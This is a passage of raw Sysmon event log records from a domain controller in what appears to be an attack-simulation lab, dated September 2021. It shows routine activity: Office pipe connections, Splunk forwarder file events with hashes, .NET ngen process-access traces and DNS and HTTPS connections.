ll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.471{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.456{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=16A50EAD7643529DBCCC0F1EC6845FFD,SHA256=9B17D34F11DCB4F1C2535F4EE05A9939AA7EB67230F5EBEA10E556E2E290E527,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000041295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.037{7BD73061-6F34-613B-7908-00000000F001}860C:\Program Files\Microsoft Office\root\Integration\Integrator.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59220-false20.44.10.122-443https 354300x800000000000000041294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.899{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56616- 18141800x800000000000000041293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.456{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.424{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=AB1D92B0E4B25032736DC70AB2744D42,SHA256=A04FD3F311F3685C358E11161B36758D0994BA2ED62B3EA9ED9573D04A4EE22B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.424{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=8276ADB7B00D81E085CD2B2D3F89BDE9,SHA256=6057162E142F1425EDDA1F64088D619FDE0ADBCB158B166088DA607C2932257D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.393{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B86DA175D3D07A9FB2138304AA184FD0,SHA256=C8158940EF6850E1B14EA51C4E4AC69635AB96A130A8D59C6B51CDB3A74611B1,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.393{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.393{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.392{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.392{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.392{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.392{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.392{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.392{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.392{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.346{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F38-613B-9708-00000000F001}5272C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.346{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=DB192CDC12CBD38E4FA76AB7BB6F3DB8,SHA256=56AD0B214DC86618B6B5F474D9508154B437F3E15CA0645918AF6848FBB6832F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.331{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=3ABE5CFE29A271DEA6C1FE2AD06A9AFD,SHA256=6476B438FF43AC13EE38142D8128E661E218B818AB4E93A48AB017FD18FB3E56,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.315{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F38-613B-9708-00000000F001}5272C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.315{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F38-613B-9708-00000000F001}5272C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000041275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.315{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=5F7586E6397D3FA7828B12617A31118B,SHA256=D59CD255E577E8A62EE0B12B740C6951C0D5B256BC8A0A4A79D4E3B79DE3EBEC,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.315{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.315{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.315{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.299{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=6987FE76A8FCEBDE8C18EC8EF63C785D,SHA256=EB618480F1A152ABB056214B5E71642775CC2E49B6E119788D9D201E08099519,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.284{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=221C6FFD79E53AA315A4D54F02A1A947,SHA256=3961239E843B5409250B91C9AF2E73B85C59C9E7F8D8BC42B791A8B714D82749,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.268{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F38-613B-9608-00000000F001}4708C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.252{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=773A4B40413D9CC500308CB9FFD96433,SHA256=8122D322AE76A4B39C7121946BD688D0EDE88E98DC00B0225851EAAFBB39FB30,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.252{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F38-613B-9608-00000000F001}4708C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.252{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F38-613B-9608-00000000F001}4708C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.252{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.237{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DDD6940A6CA424247F0CFEE40186444C,SHA256=6CA49335E7406F4FC6DE74E05FF8B0719FD5B22102A46E25B75CB82CB18FD10D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.237{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=8603B30CF1406659810A95EFC0785BE6,SHA256=E35E61727965871E6B264ED800315E8D85803E386CB3E795F3218AE73F2B5508,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.221{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=AF56116956577D58D1E2A4DB17965E78,SHA256=A8B37BDBDE22EC9DBD210BF5FDEA9EDA8E3069D1C8592ACE402D4EC220F23C46,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.206{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=CCA9F32D0CD3451A1EB9F98852EFD60C,SHA256=66F4CCDF54C6761A7ED05F85900BF5AEB511C8B23EBAB10F631804EE8532B48E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.206{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=BA0170E3ECEECEABA0B2DF3B372F36B5,SHA256=7A5710A81A9B8D855CD031FA1B9413F2BEC0D1DA0438D78CCB3426A47BD2BAC0,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.206{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.190{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=67F6C18BEAB98E59169A3A5108D87D7F,SHA256=4DD1778AED56CA63BC268A772B27C96C0D521909E3382AE0C8B4AA28DDCB0DFA,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.190{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.174{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=4F0AD63355AF7581061A267DD5D1067C,SHA256=F3B3E4A3ABAED3EDF8B65961C39C0AE75E64E97481C81649B0DB1376D13DF39D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.159{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=48EB0F1C035DFEFEB47510B8BCA0DB9C,SHA256=DB4A4170B50C00026273B20CF2000F5D49A5F8AE14395A2F74A5B9B9EB87DB1C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.159{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F38-613B-9508-00000000F001}4424C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.159{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B5DFBBBB66E13E611018FE60E18C8C71,SHA256=D9637ADD36D5A8FDA08FD931B94C9D71C3268905DB41BE2A6520404FB1DB90D6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.143{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=2D7BAD96B7F3FDDB6B50EA9A3FD79653,SHA256=6A66BF4D4BABC0D53BD9213C2C64D294802FDD2133597B4D990E05B945EECA3E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.143{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AF1C691B44F85032956D49DEC675BD42,SHA256=F54860F3D8C3F4E777687D1749E3FF3AFD24A459B8AF11D0173B194D5079D07E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.143{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F38-613B-9508-00000000F001}4424C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.143{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F38-613B-9508-00000000F001}4424C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000041248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.127{7BD73061-665D-613B-E700-00000000F001}2764NT 